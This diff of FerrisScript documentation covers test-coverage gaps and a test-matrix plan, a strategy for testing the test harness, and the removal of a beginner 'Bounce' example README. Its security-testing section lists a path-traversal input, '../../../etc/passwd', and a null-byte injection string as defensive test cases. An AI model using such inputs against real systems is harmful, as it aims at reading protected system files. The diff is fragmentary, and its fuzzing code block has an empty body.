+3. **Ad-hoc testing** - Easy to miss edge cases
+
+### Proposed Solution: Test Matrix Document
+
+Create a living document that systematically tracks test coverage:
+
+**File**: `docs/testing/TEST_MATRIX_NODE_QUERIES_SIGNALS.md`
+
+**Structure**:
+
+```markdown
+## Test Matrix: Node Queries
+
+| Scenario | Description | Input | Expected Output | Unit Test | Integration Test | Headless Test | Status |
+|----------|-------------|-------|-----------------|-----------|------------------|---------------|--------|
+| NQ-001 | Basic get_node | "Player" | Node object | ✅ test_call_get_node_function | ✅ node_query_basic | ✅ Implicit | PASS |
+| NQ-002 | Missing node | "Missing" | Error E603 | ⚠️ test_node_query_error_handling | ✅ node_query_error_demo | ⚠️ Error demo | PASS |
+| NQ-003 | Empty path | "" | Error E602? | ❌ | ❌ | ❌ | TODO |
+| NQ-004 | Relative path | "../Sibling" | Node or error | ❌ | ❌ | ❌ | TODO |
+...
+```
+
+**Benefits**:
+
+- ✅ Single source of truth for what's tested
+- ✅ Easy to identify gaps (scan for ❌)
+- ✅ Maps scenarios to specific tests
+- ✅ Can track status (TODO, IN PROGRESS, PASS, FAIL)
+- ✅ Can assign test IDs (NQ-001, SIG-042)
+- ✅ Can link to issues/PRs
+- ✅ Version controlled, reviewable
+
+### Implementation Plan
+
+**Phase 1: Create Initial Matrix** (1-2 hours)
+
+1. Extract all existing test cases
+2. Categorize by feature/scenario
+3. Assign test IDs
+4. Mark current coverage status
+5. Identify immediate gaps
+
+**Phase 2: Add Edge Cases** (2-3 hours)
+
+1. Brainstorm edge cases per feature
+2. Add to matrix with status=TODO
+3. Prioritize by impact/likelihood
+4. Create issues for high-priority gaps
+
+**Phase 3: Integrate into Workflow** (ongoing)
+
+1. Reference test IDs in test code comments
+2. Update matrix when adding tests
+3. Review matrix in PR process
+4. Use in test planning sessions
+
+**Phase 4: Automate** (future)
+
+1. Parse test code for test IDs
+2. Auto-update matrix from test results
+3. Generate coverage reports from matrix
+4. CI integration (fail if coverage drops)
+

+
+## Edge Case Discovery Strategies
+
+### Beyond Code Coverage
+
+Code coverage shows **which lines** run, not **which scenarios** are tested.
+
+**Strategies for discovering untested edge cases**:
+
+### 1. **Boundary Value Analysis**
+
+For each input parameter, test:
+
+- Minimum value
+- Maximum value
+- Just below minimum
+- Just above maximum
+- Zero (if numeric)
+- Negative (if numeric)
+- Empty (if string/collection)
+
+**Example: get_node(path: String)**
+
+- Empty string: `""`
+- Single char: `"A"`
+- Very long: `"A" * 1000`
+- Max path length: System dependent (260 on Windows?)
+- Unicode: `"🚀🎮"`
+- Null character: `"Player\0Hacker"`
+
+### 2. **Equivalence Partitioning**
+
+Group inputs into classes that should behave similarly, test one from each:
+
+**Example: Node paths**
+
+- **Simple child**: `"Player"`, `"Enemy"`
+- **Nested**: `"UI/HUD"`, `"World/Level1/Boss"`
+- **Relative**: `"../Sibling"`, `"./Child"`
+- **Absolute**: `"/root/Main"`, `"/root"`
+- **Invalid**: `""`, `"///"`, `"."`, `".."`
+
+### 3. **State-Based Testing**
+
+Test how features behave in different system states:
+
+**Example: Node queries**
+
+- Before `_ready()` called
+- During `_ready()`
+- During `_process()`
+- After scene change
+- With/without callback registered
+- With/without parent node
+- At root vs leaf nodes
+
+### 4. **Error Guessing**
+
+Based on experience, guess where errors might occur:
+
+**Common patterns**:
+
+- Off-by-one errors
+- Null/undefined handling
+- Empty collection handling
+- Unicode/encoding issues
+- Case sensitivity
+- Whitespace handling
+- Resource exhaustion
+
+### 5. **Combinatorial Testing**
+
+Test combinations of inputs (not just individual inputs):
+
+**Example: emit_signal()**
+
+- Signal name: defined vs undefined
+- Parameters: 0, 1, many
+- Parameter types: matching vs mismatching
+- Callback: set vs unset
+- Context: _ready vs _process vs custom function
+
+### 6. **Property-Based Testing**
+
+Define properties that should always hold, test with random inputs:
+
+**Example: has_node() property**
+
+```
+Property: If has_node(path) returns true, then get_node(path) should succeed
+Test: Generate 1000 random valid paths, verify property holds
+```
+
+### 7. **Mutation Testing**
+
+Change code slightly, verify tests catch the bug:
+
+**Example**: Change `if args.len() == 1` to `if args.len() <= 1`
+
+- Should: Test fails (detects mutation)
+- If not: Missing test for 0 args case
+
+### 8. **Documentation-Driven Testing**
+
+Test every example in documentation:
+
+**Example**: If docs say "paths can be relative", test relative paths
+
+### 9. **User Story Testing**
+
+Test realistic user scenarios:
+
+**Example**:
+
+```
+As a game developer
+I want to query nodes by name
+So I can access them in my script
+
+Scenarios:
+- Simple access in _ready
+- Access in _process (performance?)
+- Access after dynamic spawn
+- Access after node rename/move
+```
+
+### 10. **Security Testing**
+
+Test for potential security issues:
+
+**Example: Path injection**
+
+- Can path escape scene tree? `"../../../etc/passwd"`
+- Can path access internal nodes? `"__internal__"`
+- Can path cause DOS? `"A" * 1000000`
+
+---
+
+## Recommended Next Steps
+
+### Immediate (This Sprint)
+
+1. **Create Test Matrix Document** (Priority: High)
+   - Map all existing tests to scenarios
+   - Assign test IDs
+   - Identify top 10 gaps
+
+2. **Add Top 5 Missing Edge Case Tests** (Priority: High)
+   - Empty string path
+   - `get_node()` without callback
+   - `has_node()` for missing node
+   - Signal name validation
+   - Path with special characters
+
+3. **Add Headless Tests for Error Demos** (Priority: Medium)
+   - Currently have `node_query_error_demo.ferris`
+   - Need structured test with EXPECT: error
+   - Validate error message content
+
+### Short-term (Next 2 Sprints)

+
+## Coverage Metrics
+
+### Current Coverage (Estimated)
+
+**Node Queries**:
+
+- Unit Tests (Runtime): 40% coverage (6/15 scenarios)
+- Unit Tests (Compiler): 60% coverage (9/15 scenarios)
+- Integration Tests: 30% coverage (4/15 scenarios via examples)
+- Headless Tests: 20% coverage (basic assertions only)
+- **Overall**: ~45% scenario coverage
+
+**Signals**:
+
+- Unit Tests (Runtime): 70% coverage (11/15 core scenarios)
+- Unit Tests (Compiler): 80% coverage (12/15 compile-time scenarios)
+- Integration Tests: 40% coverage (signals.ferris covers main patterns)
+- Headless Tests: 0% coverage (no structured signal tests)
+- **Overall**: ~60% scenario coverage
+
+### Target Coverage
+
+**Near-term Goals** (6 months):
+
+- Unit Tests: 80% scenario coverage
+- Integration Tests: 60% scenario coverage

+- **Overall**: 85% scenario coverage
+
+---
+
+## Conclusion
+
+**Current State**:
+
+- ✅ Good foundation with unit and integration tests
+- ⚠️ Significant gaps in edge cases and variable inputs
+- ❌ No systematic tracking beyond code coverage
+
+**Recommendations**:
+
+1. **Create Test Matrix** - Systematic tracking of scenarios
+2. **Add Edge Case Tests** - Focus on path handling, callbacks, errors
+3. **Expand Headless Tests** - Structured tests with metadata
+4. **Use Multiple Discovery Strategies** - Beyond just code coverage
+5. **Set Coverage Goals** - Track improvement over time
+
+**Next Action**: ~~Create `TEST_MATRIX_NODE_QUERIES_SIGNALS.md` to begin systematic tracking.~~ ✅ COMPLETED
+
+---
+
+## Implementation Update (October 10, 2025)
+
+### Actions Completed
+
+**1. Created Test Matrix Document** ✅
+
+- File: `TEST_MATRIX_NODE_QUERIES_SIGNALS.md`
+- 64 test scenarios mapped to test IDs
+- Coverage tracked across all test suites
+- Status tracking (PASS/PARTIAL/TODO/FAIL)
+- Priority TODO list created
+
+**2. Implemented Top 5 Missing Edge Case Tests** ✅
+
+Added 5 new runtime tests to `crates/runtime/src/lib.rs`:
+
+1. **NQ-008**: `test_get_node_empty_string` - Validates that get_node("") returns Error E603
+2. **NQ-022**: `test_get_parent_without_callback` - Validates Error E606 when no callback set
+3. **NQ-035**: `test_has_node_without_callback` - Validates Error E609 when no callback set
+4. **NQ-037**: `test_has_node_empty_string` - Validates callback rejection of empty paths
+5. **SIG-037**: `test_emit_signal_name_as_variable` - Documents that signal names must be string literals (Error E205)
+
+**Test Results**:
+
+```
+running 85 tests (was 80)
+test result: ok. 85 passed; 0 failed
+```
+
+**3. Updated Test Matrix with New Coverage** ✅
+
+Coverage improvements:
+
+- **Node Queries**: 30% PASS (was 18%) - +4 tests
+- **Signals**: 32% PASS (was 29%) - +1 test
+- **Overall**: 31% PASS (was 23%) - +5 tests
+
+**Key Findings from New Tests**:
+
+1. **Empty path validation exists** - Runtime checks for empty paths in `get_node()` (E603)
+2. **Callback requirement is strict** - All node query functions require callback or return error
+3. **has_node() doesn't validate empty paths** - Passes to callback for validation
+4. **Signal names must be compile-time literals** - Variables not supported (design decision)
+
+### Next Steps
+
+**Immediate (Next Sprint)**:
+
+1. Add remaining High Priority tests (NQ-045, NQ-044, NQ-010, NQ-046, NQ-023)
+2. Create integration tests for new edge cases
+3. Update examples to demonstrate edge case handling
+
+**Short-term**:
+4. Add Medium Priority edge cases
+5. Expand headless test coverage
+6. Create performance benchmarks for node queries
+
+**Long-term**:
+7. Automate test matrix updates from test code
+8. CI integration for coverage tracking
+9. Property-based testing implementation

+# Test Harness Testing Strategy
+
+## Overview
+
+This document outlines a comprehensive strategy for testing and stress-testing the FerrisScript test harness itself. The goal is to ensure robustness, identify edge cases, and find opportunities for improvement.
+
+## Executive Summary
+
+**Purpose**: Validate the test harness can handle:
+
+- Invalid inputs and malformed data
+- Edge cases in metadata parsing and output validation
+- Performance under load (large test suites)
+- Platform-specific issues
+- Error recovery and graceful degradation
+
+**Approach**: Multi-layered testing strategy combining unit tests, integration tests, stress tests, and property-based testing.
+
+---
+
+## 1. Metadata Parser Testing
+
+### 1.1 Invalid Metadata Formats
+
+**Test Cases**:
+
+```ferrisscript
+// TEST: missing_category
+// No CATEGORY directive - should default to "unit"
+
+// TEST: invalid_category_value
+// CATEGORY: not_a_valid_category
+// Should error with InvalidCategory
+
+// TEST: duplicate_test_names
+// TEST: duplicate_test_names
+// Should error with DuplicateTestName
+
+// TEST: expect_error_without_error_expectation
+// EXPECT: success
+// EXPECT_ERROR: Some error
+// Should error - can't have EXPECT_ERROR with EXPECT: success
+
+// TEST: malformed_directive
+// BADDIR ECTIVE: value
+// Should be ignored or handled gracefully
+
+// TEST: empty_test_name
+// TEST:
+// Should error with MissingTestName
+
+// TEST: very_long_test_name_that_exceeds_reasonable_length_limits_and_might_cause_buffer_issues_or_display_problems_in_reports
+// Should handle gracefully
+
+// TEST: unicode_test_name_🚀_emoji
+// DESCRIPTION: Test with emoji and unicode characters 日本語
+// Should handle UTF-8 correctly
+
+// TEST: special_chars_in_metadata
+// DESCRIPTION: Contains "quotes" and 'apostrophes' and \backslashes\
+// ASSERT: Output with "nested quotes"
+// Should escape properly
+```
+
+**Implementation**:
+
+- Add unit tests to `metadata_parser.rs::tests`
+- Test parsing errors return appropriate ParseError variants
+- Test validation catches inconsistencies
+
+### 1.2 Edge Cases in Metadata Blocks
+
+**Test Cases**:
+
+- Multiple metadata blocks in single file (should work)
+- Metadata block at end of file without code
+- Metadata block with no assertions (valid for basic tests)
+- Hundreds of assertions in single test (performance)
+- Assertions with very long expected strings (1000+ chars)
+- Mixed line endings (CRLF vs LF) in metadata
+- Metadata with trailing whitespace
+- Comments within metadata block structure
+
+**Implementation**:
+
+```rust
+#[test]
+fn test_parse_metadata_with_many_assertions() {
+    let source = generate_test_with_n_assertions(1000);
+    let result = MetadataParser::parse_metadata(&source);
+    assert!(result.is_ok());
+    assert_eq!(result.unwrap()[0].assertions.len(), 1000);
+}
+
+#[test]
+fn test_parse_metadata_mixed_line_endings() {
+    let source = "// TEST: mixed\r\n// CATEGORY: unit\n// EXPECT: success\r\n";
+    let result = MetadataParser::parse_metadata(&source);
+    assert!(result.is_ok());
+}
+```
+
+---
+
+## 2. Output Parser Testing
+
+### 2.1 Malformed Godot Output
+
+**Test Cases**:
+
+```
+// Empty output
+stdout: ""
+stderr: ""
+
+// Only whitespace
+stdout: "   \n\n   \t  \n"
+stderr: ""
+
+// Truncated output (interrupted execution)
+stdout: "=== Test Started ===\n✓ Step 1\n✓ Step "
+stderr: ""
+
+// Binary/garbage data
+stdout: "\x00\x01\xFF\xFE"
+stderr: "Binary data"
+
+// Extremely long lines (10K+ characters)
+stdout: "A very long line..." + ("." * 10000)
+
+// Missing markers entirely
+stdout: "Test ran but forgot to print markers"
+
+// Markers in unexpected format
+stdout: "PASS test_name" (instead of ✓)
+stdout: "[FAIL] test_name" (instead of ✗)
+
+// Interleaved stdout/stderr
+stdout: "Line 1\n"
+stderr: "Error 1\n"
+stdout: "Line 2\n"
+stderr: "Error 2\n"
+
+// UTF-8 encoding issues
+stdout: "Invalid UTF-8: \xC3\x28"
+
+// ANSI color codes in output
+stdout: "\x1b[32m✓\x1b[0m Test passed"
+
+// Output exceeds buffer limits (1MB+)
+stdout: "Logging spam..." * 100000
+```
+
+**Implementation**:
+
+- Add unit tests to `output_parser.rs::tests`
+- Test error extraction handles empty/malformed input
+- Test marker extraction with missing/corrupted markers
+- Test assertion validation with incomplete output
+
+### 2.2 Assertion Validation Edge Cases
+
+**Test Cases**:
+
+- Assertion text appears multiple times in output (should match first)
+- Assertion text is substring of another (e.g., "Error" vs "ErrorCode")
+- Case sensitivity in assertions
+- Assertions with regex special characters
+- Optional assertions that are present (should pass)
+- Required assertions that appear but with wrong context
+- Assertions with newlines or special formatting
+
+**Implementation**:
+
+```rust
+#[test]
+fn test_assertion_substring_ambiguity() {
+    let parser = OutputParser::new();
+    let assertions = vec![
+        Assertion { kind: Required, expected: "Error".into() },
+        Assertion { kind: Required, expected: "ErrorCode: 404".into() },
+    ];
+    let output = "ErrorCode: 404 occurred";
+    let results = parser.validate_assertions(&assertions, output);
+    assert!(results[0].found); // "Error" found (substring of ErrorCode)
+    assert!(results[1].found); // "ErrorCode: 404" found
+}
+```
+
+---
+
+## 3. Scene Builder Testing
+
+### 3.1 Invalid Scene Configurations
+
+**Test Cases**:
+
+- Missing script file
+- Script file with syntax errors
+- Invalid node names (special characters, spaces)
+- Deeply nested node hierarchies (100+ levels)
+- Very wide node hierarchies (1000+ siblings)
+- Node paths with invalid characters
+- Circular dependencies in scene structure
+- Missing parent nodes
+- Script paths with spaces, unicode, special chars
+
+**Implementation**:
+
+- Test scene generation with invalid inputs
+- Test error messages are informative
+- Test cleanup happens even on failures
+
+### 3.2 File System Edge Cases
+
+**Test Cases**:
+
+- Read-only directories (can't write scene files)
+- Insufficient disk space
+- File name collisions
+- Path length limits (Windows MAX_PATH = 260)
+- Permissions issues
+- Concurrent access to same scene file
+- Files locked by other processes
+
+---
+
+## 4. Report Generator Testing
+
+### 4.1 Formatting Edge Cases
+
+**Test Cases**:
+
+- Empty test suite (no tests)
+- All tests passing (100% success)
+- All tests failing (0% success)
+- Mixed results across categories
+- Very long test names in reports (wrapping)
+- Very long assertion messages
+- Unicode in test names and descriptions
+- Test names with special characters
+- Hundreds of tests (report readability)
+- Colorization on/off
+- Terminal width variations (80 vs 120 vs 200 chars)
+
+**Implementation**:
+
+```rust
+#[test]
+fn test_report_with_no_tests() {
+    let suite = TestSuiteResult::new("empty.ferris".to_string());
+    let generator = ReportGenerator::new();
+    let report = generator.generate_report(&suite);
+    assert!(report.contains("Total:  0 tests"));
+}
+
+#[test]
+fn test_report_with_very_long_test_names() {
+    let long_name = "a".repeat(500);
+    let result = create_test_result(&long_name, true);
+    // Test formatting handles this gracefully
+}
+```
+
+### 4.2 Statistics Accuracy
+
+**Test Cases**:
+
+- Verify counts are correct across categories
+- Verify percentages are accurate
+- Verify timing information is reasonable
+- Edge case: 0 duration tests
+- Edge case: very long-running tests (hours)
+
+---
+
+## 5. Integration Testing
+
+### 5.1 End-to-End Test Scenarios
+
+**Test Cases**:
+
+**Scenario 1: Happy Path**
+
+```ferrisscript
+// TEST: integration_happy_path
+// CATEGORY: integration
+// DESCRIPTION: Complete end-to-end test
+// EXPECT: success
+// ASSERT: Step 1 complete
+// ASSERT: Step 2 complete
+// ASSERT: Step 3 complete
+
+fn _ready() {
+    print("Step 1 complete");
+    print("Step 2 complete");
+    print("Step 3 complete");
+}
+```
+
+Expected: Parse metadata → Build scene → Run test → Validate → Generate report → All pass
+
+**Scenario 2: Partial Failure**
+
+```ferrisscript
+// TEST: integration_partial_fail
+// CATEGORY: unit
+// EXPECT: success
+// ASSERT: Found node A
+// ASSERT: Found node B
+// ASSERT: Found node C
+
+fn _ready() {
+    print("Found node A");
+    print("Found node B");
+    // Missing "Found node C"
+}
+```
+
+Expected: Report shows 2/3 assertions passed, test fails
+
+**Scenario 3: Error Demo Success**
+
+```ferrisscript
+// TEST: integration_error_demo
+// CATEGORY: error_demo
+// EXPECT: error
+// EXPECT_ERROR: Node not found
+
+fn _ready() {
+    let node = get_node("MissingNode"); // Intentional error
+}
+```
+
+Expected: Parse metadata → Run test → Extract error → Match expected → Pass
+
+**Scenario 4: Multiple Tests Per File**
+
+```ferrisscript
+// TEST: test_a
+// CATEGORY: unit
+// EXPECT: success
+// ASSERT: Test A ran
+
+// TEST: test_b  
+// CATEGORY: unit
+// EXPECT: success
+// ASSERT: Test B ran
+
+fn _ready() {
+    print("Test A ran");
+    print("Test B ran");
+}
+```
+
+Expected: Both tests tracked separately, both pass
+
+### 5.2 TestRunner Integration
+
+**Test Cases**:
+
+- Run single test file
+- Run all tests in directory
+- Run tests with filtering (category, name pattern)
+- Run tests with different output formats
+- Handle test timeouts
+- Handle crashed tests (segfault, panic)
+- Handle tests that never complete
+- Parallel test execution (if implemented)
+
+---
+
+## 6. Stress Testing
+
+### 6.1 Large Test Suites
+
+**Performance Targets**:
+
+- 100 test files: < 10 seconds total
+- 1000 test files: < 2 minutes total
+- Single file with 100 tests: < 5 seconds
+
+**Test Cases**:
+
+```bash
+# Generate test suite
+for i in {1..100}; do
+  echo "// TEST: stress_test_$i" > "test_$i.ferris"
+  echo "// CATEGORY: unit" >> "test_$i.ferris"
+  echo "// EXPECT: success" >> "test_$i.ferris"
+  echo "// ASSERT: Test $i passed" >> "test_$i.ferris"
+  echo "fn _ready() { print(\"Test $i passed\"); }" >> "test_$i.ferris"
+done
+
+# Run stress test
+time ferris-test --all
+```
+
+**Metrics to Track**:
+
+- Total execution time
+- Memory usage (peak and average)
+- File I/O operations
+- Godot startup overhead per test
+- Scene generation time
+- Report generation time
+
+### 6.2 Memory Stress
+
+**Test Cases**:
+
+- Very large assertion lists (10,000 assertions)
+- Very large output buffers (100MB+ of output)
+- Many tests in single run (memory accumulation)
+- Recursive test execution
+- Memory leaks in test harness components
+
+**Implementation**:
+
+```rust
+#[test]
+fn test_memory_with_large_assertions() {
+    let large_assertion_list = (0..10000)
+        .map(|i| Assertion {
+            kind: AssertionKind::Required,
+            expected: format!("Assertion {}", i),
+        })
+        .collect::<Vec<_>>();
+    
+    // Verify parsing doesn't OOM
+    // Verify validation completes
+    // Verify memory is released
+}
+```
+
+---
+
+## 7. Platform-Specific Testing
+
+### 7.1 Operating System Variations
+
+**Platforms to Test**:
+
+- Windows 11 (primary dev platform)
+- Windows 10
+- Ubuntu 22.04 LTS
+- macOS (Monterey+)
+
+**Platform-Specific Issues**:
+
+- Path separators (\ vs /)
+- Line endings (CRLF vs LF)
+- Case sensitivity in file names
+- Executable extensions (.exe on Windows)
+- Permission models
+- Maximum path length
+- Symlink support
+- File locking behavior
+
+### 7.2 PowerShell vs Bash
+
+**Test Cases**:
+
+- Script runner works in both shells
+- Path handling (Windows paths in PowerShell, Unix in Bash)
+- Exit codes propagate correctly
+- ANSI color codes work or are disabled appropriately
+- Command quoting and escaping
+
+---
+
+## 8. Error Recovery Testing
+
+### 8.1 Graceful Degradation
+
+**Test Cases**:
+
+**Godot Not Found**:
+
+- Test harness detects Godot is missing
+- Provides helpful error message
+- Suggests installation steps
+- Exits cleanly
+
+**Invalid Configuration**:
+
+- ferris-test.toml is malformed
+- Provides helpful error message pointing to line
+- Falls back to defaults where possible
+
+**Scene Generation Fails**:
+
+- Continue with other tests
+- Report which tests couldn't run
+- Don't crash entire test suite
+
+**Timeout Handling**:
+
+- Test runs forever (infinite loop)
+- Test harness kills it after timeout
+- Reports timeout error
+- Continues with other tests
+
+### 8.2 Error Message Quality
+
+**Quality Criteria**:
+
+- Error messages are clear and actionable
+- Include file names and line numbers
+- Suggest fixes where possible
+- Don't expose internal implementation details
+- Provide context (what was being attempted)
+
+**Test Cases**:
+
+```rust
+#[test]
+fn test_error_message_quality() {
+    let result = parse_metadata("// TEST:");
+    assert!(result.is_err());
+    let err_msg = result.unwrap_err().to_string();
+    assert!(err_msg.contains("TEST"));
+    assert!(err_msg.contains("name"));
+    // Error should explain what's missing
+}
+```
+
+---
+
+## 9. Regression Testing
+
+### 9.1 Test Suite for Test Harness
+
+**Strategy**: Maintain a comprehensive test suite that runs on every commit.
+
+**Components**:
+
+1. **Unit Tests** (current: 38 tests)
+   - Expand to 100+ tests covering all edge cases
+
+2. **Integration Tests**
+   - Full end-to-end scenarios
+   - Real Godot execution (in CI)
+   - Example files as test fixtures
+
+3. **Snapshot Tests**
+   - Capture report output for known test suites
+   - Detect unintended formatting changes
+   - Store in `tests/snapshots/`
+
+4. **Performance Benchmarks**
+   - Track execution time trends
+   - Alert on regressions > 20%
+   - Use Criterion for Rust benchmarks
+
+### 9.2 Continuous Integration
+
+**CI Pipeline**:
+
+```yaml
+test_harness_tests:
+  - cargo test -p ferrisscript_test_harness
+  - cargo clippy -p ferrisscript_test_harness
+  - cargo bench -p ferrisscript_test_harness (baseline)
+  
+integration_tests:
+  - ./run-tests.ps1 --all (Windows)
+  - ./run-tests.sh --all (Linux/macOS)
+  
+stress_tests:
+  - ./generate_stress_suite.sh 100
+  - time ./run-tests.sh --all
+  - assert time < 10s
+```
+
+---
+
+## 10. Property-Based Testing
+
+### 10.1 QuickCheck/PropTest Integration
+
+**Properties to Test**:
+
+**Property 1: Parsing Idempotency**
+
+```rust
+#[test]
+fn prop_metadata_parse_serialize_roundtrip() {
+    // Given any valid TestMetadata
+    // When serialized to string and parsed back
+    // Then should equal original
+}
+```
+
+**Property 2: Output Validation Consistency**
+
+```rust
+#[test]
+fn prop_assertion_validation_is_consistent() {
+    // Given any assertion and output string
+    // If assertion.expected is substring of output
+    // Then validation should find it
+}
+```
+
+**Property 3: Report Generation Determinism**
+
+```rust
+#[test]
+fn prop_report_generation_is_deterministic() {
+    // Given same TestSuiteResult
+    // When generate_report() called multiple times
+    // Then output should be identical
+}
+```
+

+
+## 13. Fuzzing Strategy
+
+### 13.1 AFL/cargo-fuzz Integration
+
+**Targets for Fuzzing**:
+
+1. Metadata parser (parse arbitrary strings)
+2. Output parser (parse arbitrary Godot output)
+3. Scene generator (fuzz scene structures)
+
+**Implementation**:
+
+```toml
+[dependencies]
+cargo-fuzz = "0.11"
+
+# fuzz/fuzz_targets/metadata_parser.rs
+#![no_main]
+use libfuzzer_sys::fuzz_target;
+use ferrisscript_test_harness::MetadataParser;
+
+fuzz_target!(|data: &[u8]| {

+    }
+});
+```

+
+## 14. Documentation Testing
+
+### 14.1 Example Code Validation
+
+**Strategy**: All code examples in documentation should:
+
+- Actually compile
+- Actually run
+- Produce expected output
+
+**Implementation**:
+
+- Use `#[doc]` tests in Rust
+- Add examples to test suite
+- Validate README examples in CI
+
+---
+
+## 15. Monitoring and Metrics
+
+### 15.1 Test Health Metrics
+
+**Metrics to Track**:
+
+- Total test count (target: 500+)
+- Test coverage (target: 90%+)
+- Average test execution time (target: <100ms)
+- Flaky test rate (target: <1%)
+- Test failure rate over time
+- Time to fix broken tests
+
+### 15.2 Performance Metrics
+
+**Metrics to Track**:
+
+- Test harness startup time
+- Metadata parsing time per file
+- Scene generation time per test
+- Godot startup overhead
+- Report generation time
+- Total test suite execution time
+
+---
+
+## Conclusion
+
+This comprehensive testing strategy provides a roadmap for ensuring the test harness is robust, reliable, and performant. Implementation should be prioritized based on risk and impact, starting with edge cases in core components (metadata parser, output parser) and expanding to integration and stress testing.
+
+**Next Steps**:
+
+1. Implement Phase 1 tests (metadata and output parser edge cases)
+2. Create integration test framework
+3. Set up stress testing infrastructure
+4. Monitor test health metrics
+5. Iterate based on findings

-# Bounce Example
-
-**Difficulty**: Intermediate  
-**Concepts**: Global variables, Mutability, Conditionals, State management, Boundary checks
-
-## What This Demonstrates
-
-This example shows a bouncing animation with boundary checks. It demonstrates:
-
-- Global variables (`let mut dir`)
-- Conditional statements (`if`)
-- State management (tracking direction)
-- Boundary detection (preventing off-screen movement)
-- More complex frame-by-frame logic
-
-## The Code
-
-```ferris
-let mut dir: f32 = 1.0;
-
-fn _process(delta: f32) {
-    self.position.x += dir * 100.0 * delta;
-
-    if self.position.x > 10.0 {
-        dir = -1.0;
-    }
-    if self.position.x < -10.0 {
-        dir = 1.0;
-    }
-}
-```
-
-## Line-by-Line Explanation
-
-### `let mut dir: f32 = 1.0;`
-
-This is a **global variable** declaration.
-
-#### `let`
-
-- Declares a variable (like `var` in JavaScript or `let` in Rust)
-- Variables must be declared before use (no implicit creation)
-
-#### `mut`
-
-- Makes the variable **mutable** (can be changed after initialization)
-- Without `mut`, the variable would be **immutable** (constant)
-- Compare:
-
-  ```ferris
-  let x = 5;      // Immutable: x cannot be changed
-  let mut y = 5;  // Mutable: y can be reassigned
-  ```
-
-**Why is `mut` needed here?**  
-We reassign `dir` in the `if` statements (`dir = -1.0` and `dir = 1.0`). Without `mut`, the type checker would reject the script with an error:
-
-```
-Cannot assign to immutable variable 'dir'
-```
-
-#### `: f32`
-
-- Type annotation (optional in FerrisScript)
-- `f32`: 32-bit floating point number
-- Could also write `let mut dir = 1.0;` (type inferred from `1.0`)
-
-#### `= 1.0`
-
-- Initializes `dir` to `1.0` (positive direction, moving right)
-- In FerrisScript, variables **must be initialized** when declared
-
-#### Global vs Local Variables
-
-**This variable is global** because it's declared **outside any function**.
-
-- **Global**: Declared at the top level (before `fn`)
-  - Persists across function calls
-  - Retains its value between frames
-  - Used for state that needs to survive
-
-- **Local**: Declared inside a function (after `fn _process() {`)
-  - Destroyed when function ends
-  - Recreated every function call
-  - Used for temporary calculations
-
-**Example of local (WRONG for this use case):**
-
-```ferris
-fn _process(delta: f32) {
-    let mut dir = 1.0;  // WRONG: Resets to 1.0 every frame!
-    self.position.x += dir * 100.0 * delta;
-    // ... direction changes have no effect
-}
-```
-
-This would **always move right** because `dir` is reset to `1.0` every frame.
-
-### `fn _process(delta: f32) {`
-
-Same as the [move example](../move/README.md):
-
-- Called every frame
-- `delta`: Time since last frame (seconds)
-
-### `self.position.x += dir * 100.0 * delta;`
-
-Similar to the move example, but with a **direction multiplier**.
-
-#### `dir *`
-
-- Multiplies the speed by the direction
-- If `dir = 1.0`: moves right (positive X)
-- If `dir = -1.0`: moves left (negative X)
-
-#### `100.0`
-
-- Speed in pixels per second (faster than the move example's `50.0`)
-
-#### Complete movement calculation
-
-**Moving right (`dir = 1.0`):**
-
-- `1.0 * 100.0 * 0.016` = `1.6 pixels per frame` (at 60 FPS)
-- **100 pixels per second** to the right
-
-**Moving left (`dir = -1.0`):**
-
-- `-1.0 * 100.0 * 0.016` = `-1.6 pixels per frame`
-- **100 pixels per second** to the left
-
-### `if self.position.x > 10.0 {`
-
-First boundary check: **right edge**
-
-#### `if`
-
-- Conditional statement: executes the block only if the condition is true
-- Similar to `if` in most programming languages
-
-#### `self.position.x > 10.0`
-
-- Condition: "Is the X position greater than 10?"
-- `>`: Greater-than comparison operator
-- Returns `true` or `false` (boolean value)
-
-**Why 10.0?**  
-This is an arbitrary boundary. In a real game:
-
-- Use the screen width (e.g., `screen_width / 2` for center-based coordinates)
-- Use the node's size (e.g., `sprite.width / 2` to account for the node's own width)
-- Use world boundaries (e.g., tilemap edges)
-
-**This example uses small boundaries for demonstration purposes.**
-
-#### `dir = -1.0;`
-
-- **Reassignment**: Sets `dir` to `-1.0` (reverse direction)
-- This is allowed because `dir` was declared with `mut`
-- Next frame, the node will move **left** instead of **right**
-
-#### `}`
-
-Closes the `if` block.
-
-### `if self.position.x < -10.0 {`
-
-Second boundary check: **left edge**
-
-#### `< -10.0`
-
-- Condition: "Is the X position less than -10?"
-- `<`: Less-than comparison operator
-- `-10.0`: Negative boundary (left side)
-
-**Coordinate system reminder:**
-
-- `x = 0`: Center
-- `x > 0`: Right of center
-- `x < 0`: Left of center
-
-#### `dir = 1.0;`
-
-- Reverses direction to **right** (positive)
-- Next frame, the node will move **right** again
-
-### `}`
-
-Closes the `_process` function.
-
-## How It Works (Step by Step)
-
-Let's trace the execution over several frames:
-
-### Frame 1 (Initial State)
-
-- `dir = 1.0` (moving right)
-- `self.position.x = 0.0` (center)
-- Movement: `0.0 + (1.0 * 100.0 * 0.016)` = `1.6`
-- New position: `1.6`
-- No boundary hit (not > 10.0 or < -10.0)
-- Direction unchanged
-
-### Frames 2-6
-
-- Continues moving right
-- Position: `3.2`, `4.8`, `6.4`, `8.0`, `9.6`
-- No boundary hit yet
-
-### Frame 7
-
-- `self.position.x = 9.6 + 1.6` = `11.2`
-- **Boundary hit!** `11.2 > 10.0` is `true`
-- `dir` changes to `-1.0` (reverse)
-
-### Frame 8
-
-- `dir = -1.0` (moving left now)
-- Movement: `11.2 + (-1.0 * 100.0 * 0.016)` = `11.2 - 1.6` = `9.6`
-- New position: `9.6`
-- No boundary hit (not < -10.0, and now not > 10.0)
-
-### Frames 9-20
-
-- Continues moving left
-- Position: `8.0`, `6.4`, ... `-8.0`, `-9.6`
-
-### Frame 21
-
-- `self.position.x = -9.6 - 1.6` = `-11.2`
-- **Boundary hit!** `-11.2 < -10.0` is `true`
-- `dir` changes to `1.0` (reverse)
-
-### Frame 22+
-
-- Starts moving right again
-- Cycle repeats forever
-
-**Result**: The node bounces back and forth between X positions `-10.0` and `10.0`.
-
-## Running This Example
-
-### Setup
-
-Same as the [move example](../move/README.md):
-
-1. Build GDExtension: `cargo build --release`
-2. Add `FerrisScriptNode` to scene
-3. Set `script_path` to `res://path/to/examples/bounce.ferris`
-4. Add a `Sprite2D` child (so you can see the bouncing)
-
-### Expected Behavior
-
-- Node starts at center (or your initial position)
